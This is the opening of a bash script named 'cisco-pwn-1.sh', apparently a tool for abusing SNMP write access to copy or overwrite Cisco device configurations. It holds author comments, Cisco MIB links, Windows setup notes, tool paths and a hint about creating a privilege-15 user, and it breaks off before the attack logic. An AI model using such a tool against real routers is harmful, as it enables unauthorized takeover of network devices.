#!/bin/bash # rui@deniable.org # miguel@miguelsarmiento.com (Added ability to write startup configuration. Using SNMP version 2c by default). # http://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html # http://tools.cisco.com/Support/SNMP/do/BrowseOID.do # ftp://ftp.cisco.com/pub/mibs/oid/CISCO-CONFIG-COPY-MIB.oid # hint: username privilege 15 password 0 # Important: # # MSG. Modified to work on Windows using winbash and unxutils. Extract them to c:\unxutils. # http://win-bash.sourceforge.net/; http://unxutils.sourceforge.net/ # # Using SNMP-GET utils for windows. Extract to SMMP-GET also extract MIBS to same. # Disable check_tools since everything is run from the SNMP-GET directory. # Run from SNMP-GET as: c:\unxutils\bash cisco-pwn-1.sh [[...]] # ------ #check_tools() { # SNMPSET=`which snmpset` # SNMPGET=`which snmpget` # if [ "$SNMPSET" == "" ] || [ "$SNMPGET" == "" ]; then # echo "You need snmpwalk, snmpget, and snmpset from Net-SNMP (http://net-snmp.sourceforge.net/) installed." # exit # fi #} # ------ SNMPSET="c:/SNMP-GET/snmpset" SNMPGET="c:/SNMP-GET/snmpget" MIBS="c:/SNMP-GET/net-snmp-5.8/mibs" print_usage() { echo "$0